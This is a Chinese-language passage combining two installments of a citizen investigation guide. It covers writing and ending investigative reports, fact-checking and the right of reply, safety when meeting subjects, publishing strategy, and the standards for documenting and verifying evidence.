通常来讲，段落的问题出在不够紧凑，所以你要围绕你最想传达的信息来展开全文，把其他的放在一边。

d、三种方法解决 95%的写作问题

删，删，删。

最简单也最有效的编辑办法就是删除，如果你试图改写某个段落超过三次，那么继续改写可能只是浪费时间，你应该往前看。

在海明威的小说《丧钟为谁而鸣》中，有一个段落被他改写了 60 次，如果海明威都不搞定它，你也不能，所以还是删了吧。

e、让写作障碍给你反馈

如果某一段总是不对劲，要么是你没想好要说什么，要么就是根本不值一提。

通常是后者，但如果它真的很重要，不能删掉，那么你得好好想想究竟想表达什么，这才是真正的写作过程，你的报道就是在这些思考的过程中变得更加深刻有力。

f、我应该写多长？

在几年前，美国杂志的文章通常都是 7000 字的篇幅，而现在的报纸

杂志很少刊登超过2500 字的文章，即便是调查性报道也是如此。同样的，音视频的调查性报道也需要更短的片长。

面对这种情形，第一种方法是为了发表而接受篇幅的限制，有时压缩或编辑后的版本比原版更有影响力、读起来更流畅。

第二种解决办法是除简单删节以外的其他选择，新闻史上一些发表报道时的策略，能增加长篇报道的影响力：

♦ 连载：作为一个系列报道来写作或编辑

写很多短小篇章，而非一个长篇。这会使得媒体更易发表，同时也使宣传推广变得更加容易而有效，因为每一篇都能为其他几篇赢得注意力，媒体还可以把整个系列整体打包、重新推出。

♦ 多重利用：把同一个故事放在不同的媒体上

报纸可能只有发表短篇的空间，但网站却可以接受长篇幅文章，要确保你拥有对不同版本报道的版权，这样便可以把它们投放到尽可能广阔的多媒体平台。

♦ 打造品牌：通过定期露面建立影响力

你真正需要的篇幅到底是多长呢？很多调查性报道都写得很长，他们通常都包含了超出一篇报道的材料和针对原初假设的不同角度。

相比起发表一篇爆炸性的报道，你可以考虑定期发表相关题材的报道，比系列报道的时间间隔稍长，但不要太长以至于公众忘掉这个议题以及你在该议题方面的专长。

☞这是一种建立调查者自己的品牌的方法，同样也可以建立起媒体的品牌。

6、结尾的诱惑

叙事艺术需要一个令人满意的结局，但不幸的是，记者没有权力发明结局，只能写出一个结尾。

☞结局和结尾的区别是很大的，结局解决了故事里所有的神秘之处，而结尾只是标注出事件停止发展的那个点。

一方面，你必须小心，要去抵抗这种为你的故事增添一个原本没有的

最终结果的诱惑，另一方面，你又必须提出可能的解决方案，而且不需要写得太长。

在一篇曝光法国把圭亚那作为流放行刑地的出色报道中，Albert Londres 用一句话作为结尾：“我的工作已经完成，政府的工作应该开始了。”

要让读者知道是否找到了相应的解决对策。你可以展示你自己的想法，因为如果你正当地完成了调查，你就已经是有关议题方面的专家了；你也可以找曾处理过类似问题的人，或指出那些对现有问题负有责任的人。

一个很管用的技巧是让事件中的一个消息源来说最后一句话。

☞另外一个方法是，当你调查事件时，有意识地收集一些可以作为结尾的时刻。

不管是你自己发表观点，还是让别人替你表态，请保证最后一句话一定是真话，很多调查性报道都被作者的最后一行搞砸，因为作者不想把故事说透，抑或是作者潜意识里害怕说出来。

当作者说出这样的话时便毁掉了报道：“也许我们的调查对象并不是一个那么坏的人。”这就代表你不敢发言，你希望对方能够原谅你 —— 正如著名精神分析学家埃里希·弗罗姆所说，之所以那么多人崇拜希特勒是因为承认害怕一个人比承认崇拜一个人更丢人。

或者，是你的自我怀疑导致你引用一位受人尊敬的睿智人士说，“生活本就充满了问题，但我们是有着善良的意志和很高社会地位的物种，我们可以

自己来解决它们。”很不幸，这和你之前写的整个故事完全是两码事。”

要接受你所发现的真相，要想把你的工作做好，比你想象得困难。

如果你的调查本身赋予了你最终做出判断的权力，那么请行使这个权力，但要保持慎重，保持公平，不要超出你发现的事实的范围，也不要否认那些已经被你证实的事实。〇

—— 未完待续 ——

原文

您的工作应成为社会变革的动力：公民调查指南（7） - iYouPort

公民调查指南-不再吃瓜让它民主-公民掌握真相的技巧和技术

这里是流程技巧部分的完结篇！准备迎接您的胜利吧 ~

「图」

「图」

欢迎回来！我们马上就能完成任务了。

如果您还没有读过或忘记了本系列此前的部分，可以在下面回顾：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》
- 《FBI同款调查技巧—公民调查指南（6）》

这是最后一个步骤：☞通过质量控制来确保报道是正确的，并令其发挥改变现状的作用。

您已经完成了调查、组织和写作！接下来的工作就是：在报道进入公共领域之前，确保它是正确和正当的 —— 这就涉及到了质量控制，或者用专业术语来说，叫 *事实核查*。这是让您的工作能成为变革动力的重要一步。

什么是事实核查？

世界上顶尖的调查团队都应该包括编辑和一个全职的事实核查员，他的工作就是指导并确保整个调查过程正确正当地执行。

☞主要包括以下四个方面：

- 首先是要保证你的确是在讲一个真故事 —— 不仅是指每一个事实是真的，而是指所有事实组成了一个整体的真相。如果存在另一个解释可以比你的解释更有理，那么肯定出问题了。
- 然后，您需要确切地掌握文中所有事实性论断的消息源。
- 在验证消息源的过程中，您需要鉴别并改正事实性的错误。
- 同时，要把带有情绪噪音的细节摒除在你的报道之外。当你疲劳、沮丧或害怕时，没有根据的侮辱、侵犯和敌意就会进入你的讲述，这会严重削减您的调查工作的合理性。检查它们，并删除。

☞重复一下，您一定要讲出一个对的故事，一定要把那些错的事实删掉或改掉，必须保证文章的基调是公正的。

Ariel Hart 是《哥伦比亚新闻评论》的顶级事实核查员，她曾说过：

> “我从来没有检查过任何一篇完全没有错误的报道，不管它有五页，还是只有两段。公平地说，有些我找出来的错误是主观解读的问题，作者通常都会同意修改它们。但几乎所有的文章都包含一些客观事实上的问题，比如年份有误差、数据太久、错误拼写、使用常见但错误的二手信息等等，这些事实错误都来自作者的想当然，当作者说 ‘你不必去核实了，我知道那是对的’ 的时候，就会出现这种错误。”

每个人都会犯错，不管是您讲述的方式还是您讲述的内容，都可能出错。聪明的人会修正自己的错误，而业余的人只会希望没人注意到它们。

不幸的是，总会有人发现的，而且通常不会由你的朋友最先发现。如果您不愿意主动承认并改正错误，很可能会威胁到您和您的团队的整体信誉（它很难弥补）。

在您的工作环境中，很可能从来没有人核实一篇报道中的事实，也从来没有人核实过你文章中的事实。但您必须知道，这是不专业的工作环境，它早晚会出严重的麻烦。

☞ 下面介绍一下核查事实是如何进行的：

- 你需要最少两个人：一个作者和一个核查文章中事实的人，每

个人都有一份文章副本。
- 通读全文，对报道有一个整体了解。看看它到底是公正的还是有偏见的？是否让人感觉有些地方不对劲？谁也许能提供另外一幅图景？
- 然后逐行阅读全文，核对每一处事实。核查员（他可以是编辑、同事、律师或者只是一个称职的朋友）针对每一个事实发问："你是怎么知道的？"
- 作者给出自己的消息来源。如果信息来自一份文件，两个人都要阅读那份文件以确认引用是精确的，如果来源是一次访谈，那就一起阅读采访笔记，或者听采访录音。
- 如果没有消息源，作者必须找到一个，如果找不到消息源，那么该段落必须删去。
- 事实核查员尤其要质疑作者对被调查对象的动机、目的和想法的解释，一般来说，这些内容需要被删去，但如果有资料能支持它们，比如能表明个人在某个时刻心理状态的信件或日子，这些内容才能保留。

你可以看到，这个过程并不复杂，可能描述起来有些单调，但请相信我，这一工作绝对不会单调，随着核实工作的进行，你的报道会越来越真实，它的影响会越来越明显。

经历这个过程也不会比在法庭或其他地方自我辩护更沉闷，到时你可能会因为在文章中胡编乱造而面临指控。不要让这种事发生。

「图」

「图」

道德核查

1、不要误用侮辱

不要在报道中出现没有根据的敌意和侵犯，这应该成为常识，这类噪音会提高你的法律风险，也会羞辱甚至激怒你的调查对象以至于他们暴力回击。

当然，记者经常冷嘲热讽，但这和新闻评论是两码事，评论属于观点，每个人都可以有自己的观点，⚠但如果出现在经过调查的揭露性报道中，后果会更严重。

记者对此应该格外小心，如果一项调查会引起某项指控，那么没必要

再加上个人攻击这项罪名。

在大多数案例中，疲劳、受惊吓的状态对记者是非常有害的。疲劳会引发“逃逸战斗综合症”以及生理上的紧张，惊吓也是如此，不管是真实的或想象的惊吓、不管是你的调查对象被惊吓或是你自己。

不要认为这些不一定发生在你身上，它不仅可能而且总会发生，要警惕这种危险，确保您写入报道中的一切都是经过深思熟虑后的结果。

2、给予调查对象回应的权利

绝不要在文章中攻击那些没有机会回应你的人。

也许他们会给你一个诡异的解释，那你就引用它。也许他们拒不回应，那么你就告诉读者他们选择拒绝回应，但不要暗示读者这种做法是错误的。

因为并不是所有人都必须回答记者的提问（反过来也不要认为那些愿意和你交谈的人都是诚实的好人）。

鼓励您在调查中去接触那些被你作为对立面的消息源，除非你有理由（除了你的恐惧以外的理由）、除非认为这会给你带来真实的危险。

这么做最重要的原因在于，通常当调查对象解释了他们的观点之后，你事先的假设会变得完全错误，专业调查人员也曾遇到过这样的情况，有时数周或数月的工作就白白浪费了。

3、尊重消息源的步骤

瑞典 SVT 电视台调查部负责人 Nils Hanson 告诉记者们，应该按照以下步骤来确保他们的批评是公正的：#首先，再读一遍你的文章，把其中所有对人、对组织机构的批评全部标记出来。

- 所有的被批评对象已经被告知了吗？如果没有，一一告知，除非你有极端重要的原因不这么干（比如 你会被逮捕或被谋杀）。
- 所有的被批评对象都回应了你的批评吗？如果没有，肯定有地方不对劲，而这种材料应该之前就搜集好。
- 记者是否记录下了他/她试图去获取答案的努力？接下来记得收集这一材料。
- 是否给予被批评对象以合理的时间来回应？你的问题越复杂，

对方就需要越多的时间来回答。

- 是否找到了对的人来回答这一批评？记者经常只要满足于和秘书或刚好接到电话的门卫交谈，但他们根本无法回答记者的问题。
- 是否给被批评对象拿出他们最好的案例的机会？如果没有，那就是在践踏他/她的权力，而您也将丢掉故事中一个重要的部分。
- 是否满足了受访者的合理要求，比如提前告知他们的陈述将怎样被呈现？受访者的以下要求是合理的：如果他/她的话被引用，他们应该被告知，而且应该允许他们修正其中的一些错误（但不能收回许可或信息）。受访者要求看你的整个报道是不合理的，不要给他们这个权力，除非在非常少的情况下，整个报道以某个消息源为中心，而事件又非常复杂以至于这个消息源在法律的层面担心你的失误会导致他/她受牵连。（这一条适用于某些科学题材的报道。）

1. 通过电话采访，或者约在公共场合；

- 不要告诉他们你的个人信息（比如你女朋友的名字或职业、你的家乡等等）
- 表现专业一点，不要带个人情绪，友好、聪明、自如、风趣、坚定，不要表现出恐惧；
- 给他们一个联系方式以便报道发表后接受反馈（但千万不要给你的私人地

址）；

- 找好后援。让另一个记者注意这次会面，约定一个出麻烦时可以拨打的电话号码，以便发出求救信号。

在我们看来，以上方法中最重要的一条是不要表现出恐惧，恐惧表明你对所做的事情并不确定，或者对自己没有信心，它也同样是危险的信号，因为受惊吓的人和动物都会变得不受控制，他们更容易攻击，也更容易逃跑。

当然，当你身处现实危险中时，恐惧是自然。再重复一遍，处理这种恐惧的一个方法是把这种感觉当成一种将来可以运用在分析中的现象，这会让你的情绪变得客观化，并使您自己和它保持距离。

5、透明法

这是一种和 Sullivan 提供的步骤类似的方法，但更加透明、更先行一步，这是由普利策奖得主 Deborah Nelson 提出的。

在她调查的每一个阶段，她都会向过程中新出现的人物介绍她的想法和已有发现，并依次询问他们对此的评价，她用这种方法讲述了一个已经毁掉自己职业生涯的警察的故事。

因为每获得一点信息，她都让那个警察予以评价，在报道发表前，她给他读最后的文章，他说："这个报道真好，那就是我的感觉。"

☞有些读者不会接受这种方法，因为在他们的国家根本不可能和被调查的权威人士有这样直率坦诚的对话，更别提罪犯了。"我们怎么可能在发表前打电话去确认引用的直接引语？他们肯定会否认说过这一切！要么他们就会禁止这篇报道见报！"

您肯定比我们更了解您的国家的情况。

尽管如此，我们的经验是，在这种情况下调查者其实比他们自己想象的更有影响力。尤其是如果你表现得就像自己有权、有能力用透明的办法来工作的话，许多受访者都会买你的帐。

同样，如果你那样表现的话，别人也就没那么容易注意到你的恐惧了。

不论选择哪种方法，你都要自信经过考虑之后你选择了正确的那一种，那样一来，您的消息源也会感觉到这种自信，并会意识到他们自己的欠缺。

「图」

「图」

用主文件来核查事实

前面文章中已经介绍了建立一个覆盖调查各个方面的主文件夹可以如何帮助您组织和追踪材料，那项工作将来可以让您深受律师和事实核查员的欢迎。

如果您恰当地组织了主文件夹，在报道中出现的每一个事实都应该能在主文件夹里找到出处。不需要把所有的消息源都用在报道中，但如果遇到敏感案例，您可以有序地拿出所有消息源的资料，让核查事实更容易。

主文件夹会告诉你每一份材料的位置，因为你在文件夹中已经把每一个事实的来源都标注清楚了。复制一份所有你用到的材料，按照使用顺序把它们放在一起，这对事实核查员和您本人来说，都是非常重要的。

完成这个过程最简单的办法，就是准备一个用脚注标出所有消息源的版本，这得花一点时间，但最终给大伙都省了时间和麻烦，当调查对象推卸责任时，这些脚注是非常值得的。

如果使用这种技巧，不要仅仅只是把对消息源的描述从主文件夹中复制粘贴过来，更聪明的做法是，每标注一个消息源，就花一点时间检查一下您是怎么写这个消息源的，确认自己的措辞、总结和引用都没有错误。

这种情况经常发生，如果有人对报道不满，这些小错误就会让你看起来不够仔细。

这里提供一些技巧，可以让制作脚注和记录的工作不那么繁琐。

如果消息源是一个网页，你可以把网址写在脚注里。（建议把网页保存下来，作为材料的证据，因为网页是很容易改变的，如果改了，您的证明就没了。（《国际先驱论坛报》在刊发报道之前聪明地下载了一个指向其调查对象的网页，报道发表的那一天，网页就被撤了。）

☞要确保您使用的任何电子媒介都是安全的。

事实核查会带来可以预见的心理效应

事实核查的过程会影响到每一个与报道相关的人，唯一的不同就在于怎么影响。

这种影响有时是矛盾的，但它们不会互相抵消。

首先，当您为了验证自己的论断而浏览材料时，会重新唤醒你收集材料时的情绪，如果您当时感觉愤怒、惊恐或失望，那么现在就会感到那些情绪的回音，更让人惊讶的是，有些时候甚至会感觉可怜你的调查对象，通常这种情绪背后的原因是恐惧。

记下这些情绪是聪明的做法。在报道过程中，记下你的情绪可以把它们变成你笔下可控的材料，这时你写下的东西有时可以被用到文章中。

有时您几乎可以确定会错误地理解了一些事情，这种本能的焦虑有很多原因，并不是每一次都是有效的。

每个人都可能犯错，最好的解决途径是此时再次核实自己的工作。☞但还有另外一种可能性：你的确发现了真相，但你觉得它太不堪了，或者它蕴含着很大的危险，让你宁愿不相信它。

（当调查记者 Anne-Marie Casteret 发现了法国高官贩卖艾滋病毒污染的血液制品时，她不敢置信，还以为自己疯了。）

此时最好的办法还是再次审阅您的材料，如果这些材料的确证明这个世界比你想象的更加悲哀、丑陋，你应该从另一个方面得到安慰 —— 因为你的报道也许能够改变它。

如果你犯错了，尽快承认，当你想清楚了犯错的原因，这会帮助你找到其他错误。

☞请注意，许多错误发生的原因在于人会自然地用推测来填充故事中的漏洞。（Columbo3 的杀手锏之一就是推测。）

在您组织调查材料时，你的大脑也可能耍这样的把戏。真实情况往往比你想得更生动。要么就告诉读者你在推测，要么就承认你不知道 —— 你不知道就不会犯错，就应该去加强你知道的那部分信息的可靠性。

作者和事实核查员最后都会把彼此惹恼，他们都是在高风险、高压力之下工作，这通常不会给人带来好脾气。

核查事实有着很严肃的意味，要严肃地对待失误的原因和解决的办法。

作者可能会觉得每次自己文中的事实和解释被质疑都是一次背叛；另一个方面，作者也多少会意识到他的第一读者—— 事实核查员，要么是不能相信这篇报道，要么是拒绝相信它。

又或者，作者对报道投入了太多，每一个事实都好像刻在自己身体里一样，这些情绪会直接显露出来。而事实核查员则会担心记者偷懒或受情绪影响，并且不愿意改进工作。

这种冲突是不可避免的，但如果双方都不尽力把报道尽可能做好，后果会更坏。

☞如果两人中的任何一个因为自私、恐惧、私人恩怨等原因，不能信任彼此并共同达成目标，那么他们就不该在一起工作。

您应该可以找到合适的合作者 —— 合适意味着，你们双方都能从彼此身上学习到东西，合作的结果是为了同一个目标互相促进。

因此在调查开始前，公民记者应该知道事实核查员的人选和合作方式，不要直到最后时刻才处理这层关系，如果处理不好，会耽误整个项目。

「图」

「图」

现在发表它！

你已经花了相当长的时间和一大把精力来确定一个重要的故事并且验证它。现在它就要发表了，☞你可一定要在出版过程中尽可能多的制造声音。

以下介绍的是在发表、捍卫和推出过程中，您能采取的一些最基本的步骤。

发表 ——

确保故事能得到适当的编辑。一些编辑没有调查报道的经验，他们的误删可能会破坏整个故事的冲击力，要准备好为重要的部分斗争，其它的部分退让。

确保这个故事有合适的配图。缺乏图表或照片会使报道难以理解、并且不那么动人。

确保故事能有个合适的标题。不要让编辑写出一个误解了你作品的题目，或者制造一些故事中没有的卖点。要去努力争取让你的故事能得到最大的关注和最好的位置。

在公共领域捍卫 ——

当报道发表时，要通知故事中的那些友好信源，并且确保他们拿到一些复印件或者链接，可以向他们的朋友展示。

对和这篇报道相关的政治人物做同样的事。

就在发表之前，确保让媒体的同事们或者一些 NGO 组织获得这则报道，以及其中引用的一些关键文件。

要在公共论坛安排一些关于这篇报道的讨论（其他媒体、大学、公民协会等）。

根据对手们迄今为止的正式回应（他们很可能会重复），猜测他们会发出哪些反对意见，并准备新的报道击败他们。这个技术被著名调查记者 Anne-Marie Casteret 在血液感染事件中使用得非常恰当，并大获成功。

推广 ——

为这个故事准备一篇新闻稿，用几句话描述出报道的主要发现，在故事发表时广泛地传播这篇新闻稿。

考虑和一个没有竞争关系的，国外的或者其他类型的媒体（如果你在电台、可以考虑印刷媒体，反之亦然）共同发布这篇报道。

发表后要通知互联网论坛和相关的公民社会组织。

最后

☞ 不管您的报道发表在哪，要确保它能被重视它的人群注意到。

如果您无法取得其他成果，至少要让那些人感觉到有人在关心他们。

花些时间来享受你的工作带来的反馈。 倾听批评，并善加利用。

☞您经历的每次调查都会使您变得更强大。

不要忘了这里：《你知道什么才是真正的*调查*吗？所谓的”起底”经常是骗人的》。

流程技巧部分终于完成了。您一定知道我们会把它归类到知识列表的哪个部分？没错！—— "**让它民主**"！这就是本系列的目标。（未来将继续补充工具类内容）

一起加油！○

原文

未经验证则无效：从挖掘好的证据到整体安全-公民调查指南（8） - iyouport

公民调查指南-不再吃瓜

【2021年6月10日存档】本指南将探讨调查中最重要的要素：什么是好的证据、如何制定强有力的记录程序、核查的价值、以及安全开局的关键。

欢迎回来！

如果您还没有读过或忘记了本系列此前的部分，可以在下面回顾：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用 — 公民调查指南（5）》
- 《FBI同款调查技巧 — 公民调查指南（6）》
- 《您的工作应成为社会变革的动力：公民调查指南（7）》

建立坚实的证据

「图」

本指南将使用证据的一般含义：对您正在调查的问题、事件、个人或过程具有重要意义的信息。证据的法律定义可能要严格得多 —— 如果您需要将调查结果呈交法庭以令肇事者承担责任，您需要采取更严格的标准，最好咨询律师；但本文使用的这一通用含义适用于更多不同的调查。

证据为您提供了对某项主张或假设的确认。它是发生过的事或没有发生的事的证明。对您收集的信息进行解释并赋予其意义，就会产生一

套证据。重要的是要记住，并不是每条信息都是证据或可以变成证据的。

调查是一个有组织地收集证据的过程，它力求尽可能地接近真相。过去的事情会留下残余：灰尘、脚印、文件、视频、录音、证人、气味、文书、以前存在或不存在的东西。收集证据意味着找到并验证这些痕迹。虽然重现历史是不可能的，但这些事件、关系、交易或地点的痕迹都可以起到证明您的调查报告是基于现实的，这非常重要。

📌 如果您把您的调查看作是一个拼图，每一个环节或连接都会让您离看到更大的画面更近一步。随着您连接更多的碎片，画面开始变得更加清晰。无论您收集了多少信息，您总能得到一些一开始没有的东西：一个更清晰的搜索框架，一个图像或地图的草图，一个新的信息来源，甚至是一个新调查的起点。识别信息碎片之间的联系，会让您更接近所寻求的答案，以及证明这些答案的证据。

📌 当您收集到足够多的好证据时，您所掌握的信息将得到充分的支持，更接近真相。否则，您试图得出的任何结论在最好的情况下都是不完整的，在最坏的情况下就是完全错误的。您必需有一个坚实的、不可动摇的基础。

您的好证据应该符合这些标准

「图」

并非所有证据都是好的或相关的证据。有一些品质可以区分什么是“好的” 和对您的调查有用的证据。确保您走在正确的道路上的最好方法是：测试您的信息的强度、准确性和完整性，并向自己提出几个指导性问题，如下。

1、好的证据是第一手的。您是否亲眼目睹了某件事；您是否有机会接触到相关人员，或者获得有关的官方文件？

2、好的证据是可以记录和保存的。您是否能够绘制出导致您找到证据的路径，记录下您研究过程中的每一步，并保存下来，以便其他调查人员以后能够获取证据，确认证据的准确性，并使之具有意义？

3、好的证据是及时的，创建或记录的时间接近事件发生的时间。是否经过了很多时间，使得证据的可追溯性降低？录音或文件是否丢失了？您需要挖掘过去或在其他地方找到新的信息。

4、好的证据是可以验证的。您和其他人可以检查和确认您所掌握的东西是否真实准确？

5、好的证据除了您和您的消息来源外，还有第三方可以确认的来源。是否只有您能接触到信息来源，也只有您能说它是真实的？如果是这样，如果有人质疑您的证据或声称您在编造，这可能成为一个弱点。然而，如果您面对的是一个脆弱的信息源，将其保密可能是您和他们唯一可行的选择。

6、好的证据包含可以被第三方确认的信息。是否有任何人或任何东西可以支持您的主张和证据？专家、其他证人、对该问题进行研究的组织、官方文件？越多越好。

7、好的证据可以与其他人分享。您是否能够展示这些证据来支持您的论点和主张，或者它是保密的，因此需要保持不公开？如果是这样的话，您可能需要更多的方法来向别人证明您所说的是真实的。

8、好的证据有记录，有完整的保管链。您是否记录了研究过程中的每一步？您是否保存了所有的发现，并注明了准确的来源细节、日期、时间和发现信息的地点？您是否安全地保存了所有的信息，并确保它从未离开过您的手、没有被篡改、而且您可以随时追溯到它的原始来源？

9、好的证据是不会被破坏的，并且可以被安全地保存起来。您能确保没有任何不受欢迎的人能够接触到它、和以任何方式修改它吗？

10、好的证据包括元数据，例如关于其作者、地点、时间的信息。您能自信地说，您知道一张照片或一段视频是在消息来源声称的地方、在它声称的时间拍摄的，并且显示了它声称的内容吗？如果您自己收集了证据并记录了图像，您能通过保存其元数据来证明其真实性吗？任何元数据的丢失都会成为您以后证据的一个弱点。确保您把它保管好。

11、好的证据可以连接到其他证据，将信息联系在一起。您能否将您的证据与其他信息和更多来源的发现联系起来，以支持您的论点，或对您调查的问题进行更有力的叙述吗？

12、好的证据会将您引导到您的信息薄弱或不完整的地方。它是否会打开更多的问题，向您展示信息缺口和寻求更多证据的新方法？这是一件好事，它会帮助您更好地了解问题的概况，并最终建立一个更有力的论点。

13、好的证据不会让人类消息来源面临调查人员无法管理的风险。会不会有人直接或间接地将您的证据与脆弱的消息来源联系起来，一旦暴露，他们可能会有危险？如果是，您能以任何方式降低这些风险来保护该消息来源吗？是否有办法找到其他证据，支持您的叙述，但不会暴露潜在的脆弱来源？如果没有，您可能需要重新考虑使用该证据，并将您的消息来源和您自己的安全放在第一位。

14、好的证据可能会挑战您的先入为主的想法，甚至与您认为的事实相矛盾。它是否表明您的期望或论点不成立？它是否让您从不同的角度看问题，甚至完全改变您对某个问题的看法？您是否相信一个消息来源，但一旦您分析了更多来自其他来源的证据，就会最终怀疑它？这是一件好事，承认并接受这一点，您就会成为一个更好的、更公正的，从而更值得信赖的真相捍卫者。

15、好的证据是会说话的。您可以只展示您所拥有的东西，并确信人们会理解这些信息及其意义吗？还是说您还需要建立一个更大的图景或叙事来提升它？侧重于选择那些能自己说话的证据。

📌 并非您发现的每一个证据都能满足所有这些条件。这是可以预期的。但您发现的一些证据会满足其中的很多条件 —— 这些片段是您可能想要优先考虑的。

记录您的调查过程

「图」

收集证据、追踪线索、采访、建模、绘图、规划以及形成您的调查的所有思考，如果您记录下您的调查过程，将对您更有用 —— 对您的结论更有支持。这意味着要记录您所做的每一个步骤；收集的每一个数据和证据都要有细节，比如它是什么，在什么地方，什么时候，为什么和如何收集的；保存这些数据的初始形式和特征，等等。

文件记录的主要目标是为您的调查建立一个可验证的记录。📌 相对于作为安全须知的 “数字卫生” 在这里我们可以把它称为 “调查卫生” —— 定期维护某些做法，以确保您的调查是健康的，并在任何人试图否定您的证据时，能够经得起检查和批评。

您的记录既是为您自己准备的，也是为别人准备的。跟踪您的步骤会使您作为一个调查员更加有效，而且在开始时不太可能为常见的错误而挣扎。随着您的进步，记录可以帮助您记住以前的结论，您是如何得到线索的，或者是以前看似无用但现在看来很重要的证据。您也可

能会发现您忘记跟进的事，或者您想请别人帮忙的问题。和开源情报调查的方式 一样，参见这里《开源调查应该是一种心智：得到它你需要几个步骤》。

能够自信地说明为什么您追求一个来源而不是另一个来源，使您成为更有价值和值得信赖的资源。如果您打算公布您的发现，如果您曾经与执法部门交谈，如果您向法院追究案件或向代表犯罪和虐待案件的人权捍卫者提供您的证据，您的记录习惯是很重要的。此外，如果个人或职业问题或不断变化的社会政治条件打断了您的工作，其他人将更容易解释它并承担其余的调查或使用您设法发现的证据。如果您最终与其他伙伴合作，这些习惯也很有用。

📌 虽然记录很重要，但也存在风险因素。如果信息落入错误的人手中，您的调查日志可能会使潜在的对手受益—— 例如，有人决心阻止您揭露他们的不法行为。

📌 在调查开始时和调查过程中评估任何潜在的风险是至关重要的。您需要认真对待您和您的消息来源的安全，并安全地保存证据和文件，使用加密存储和加密设备，以保护其免受不必要的访问。

确保您始终了解基本的数字安全和物理安全保障措施，并了解您可能需要的工具和技能，以保持安全并安全地存储您的数据。您可以在我们的 列表-3 “技术防身”、和 列表-5 “护盾” 中查看在线资源。

在特别复杂的情况或环境中工作时，如果您觉得自己所进行的任何调查可能会带来哪怕是最微小的风险，请值得信赖的人给您建议，或者寻找您可能能够参加的安全培训。

彻底记录的提示

「图」

1、做详细的采访记录

「图」

如果您要采访消息来源或与其他调查人员会面，一定要做笔记。记录日期、开始和结束时间、地点和参与者的姓名。记下讨论的内容，以及同一人是否可以举行后续会面（比如 “某人和我决定周四14:00再通过电话交谈”）。您可以用手做笔记，也可以在设备上打字，或者两者兼而有之，只要您能保证笔记的安全。录音也是记录谈话内容的好

方法，但要先征得他人的同意才能录音。小心不要暴露人们的身份，特别是在采访和记录易受伤害的消息来源时。每个人的安全应该永远是您的首要任务。

调查人员经常使用隐蔽录音来帮助暴露重要信息，但由于某些地方的法律限制存在争议，最重要的是，与之相关的安全风险，这里不做具体介绍。

2、追踪联系信息

「图」

如果您正在创建一个联系人名单，不仅要包括他们的姓名和联系信息，还要包括您是如何认识他们的，你们每次交谈的情况，以及他们为您提供的信息摘要。例如，如果您有一份企业、电话号码或电子邮件地址的清单要研究，一定要记下您第一次找到该企业名称、电话号码或电子邮件的地点。如果您有敏感的信息和脆弱的、有风险的消息来源，在您所有的笔记和工作文件中给他们一个别名，无论在线还是离线，只有您自己知道那是谁。

3、记录您的过程

「图」

记录您所采取的调查步骤及其结果，包括日期和收集证据所涉及的每一种工具和技术的细节。例如，您可以记录 “2018年1月3日，我和我的研究伙伴用谷歌地球拍摄了卫星图像，并记录了该公司建筑工地的位置” 或 “2018年3月14日，我尝试拨打与该公司相关的不同电话号码，看看是否能获得记录，但我被转到了语音信箱”。随着您的研究的推进，尤其是长期调查，这将帮助您记住过去的步骤，您将能够回忆起寻找某些数据的失败尝试，或者您已经拥有而不应该重复的信息片段。

4、做一个大纲

「图」

随着您收集的信息越来越多，对您目前所发现的情况做一个粗略的叙述性概述是很有帮助的。这将作为调查的不同阶段的记录，并将帮助您了解可能遗漏了哪些信息，是否有新的方向需要考虑，以及是否应

该核实或完善某些信息。此外，为您的数据和调查过程创建可视化地图，可能会帮助您从新的角度看待问题。

5、保护您的证据

「图」

您应该为所有证据建立一个实体和数字日志。包括日期、来源、储存地点和安全信息。您的日志还应该包括对证据状态的描述，谁收集了证据，谁与证据进行了互动。将所有这些东西妥善保管，最好不要全部放在一个地方，以免完全丢失或损坏。

如果未验证，则无效

「图」

您的城市有人在注射疫苗后出现并发症生命垂危？政府正在准备一项法律以禁止一切未经批准的加密货币？当然，一切皆有可能，甚至可能有具体的数据可以证明。但是，如果没有经过验证，那它就不成立。

如今，信息的质量和可信度正受到来自多个方面的挑战 —— 从 “假新闻” 的制造者和故意散布错误信息的trolls、到消息不灵通的社交媒体用户，他们在没有事先核实消息来源的情况下就广泛传播新闻，因此，核实变得越来越重要。

无论您的调查目标是什么，重要的是要能够为您如何获得作为证据的信息辩护。如果您的调查中的某些东西被证明不是真的，就会破坏您的研究和您提出的任何叙述或结论。

本系列中大部分调查技巧都可以用来发现证据以及验证证据。

📌 在调查过程中，有不同层次的证据。无论您走的是哪条路，您总是应该试图通过验证等技术来接近第一手证据。以下是一些例子，说明您在整个调查过程中可能需要处理和核实的信息来源。

1、口传—— 邻居说您所在城市出现一例注射疫苗后导致并发症的案例。这只是传言，您需要更为接近的事实。

2、专家说法—— 一位追踪过疫苗并发症问题的研究人员告诉您，这种情况曾经多次出现过。专家声明是开始验证您所掌握的信息的好方

法，但您还是需要收集一些第一手资料，或者找到更多的消息来源说明同样的情况。

3、第二手资料—— 您与出现并发症的人或其家属交谈。您越来越接近实际的事实，但任何个人经验和陈述都需要与其他证人或现有文件（如果有的话）进行核对。

4、研究文件或报告—— 例如，来自一个可信的非政府组织的报告根据对直接相关的人的采访来描述这种情况。研究得出的文件使您更接近了一步，但就像专家陈述一样，您仍然需要用证人的陈述或至少是另一来源的陈述来证实这些文件。

5、官方文件—— 一份正式文件记录了这一事件。有签名和日期的正式文件总是非常有力的证据，因为您可以确定负责记录案件的机构和人员，如果您需要的话，可以追问更多问题。注意机构的偏见，当一个办公室可能想隐藏数据而不是暴露真相，特别是当真相会使他们入罪时。您现在手里有一个很好的证据，但一些证人或专家的陈述会让它变得更强大。

7、照片、视频、音频 —— 存在一段录音，显示当时发生的情况。这对您来说可以说是证据的宝藏。如果图像和音频是真实的，它们可以与事件发生的地点、时间和相关人员联系起来。通过检查EXIF数据和元数据，小心图像和声音被篡改的可能性，核实来源、内容，在没有联系到当事人确认其准确性之前，不要作为证据使用。

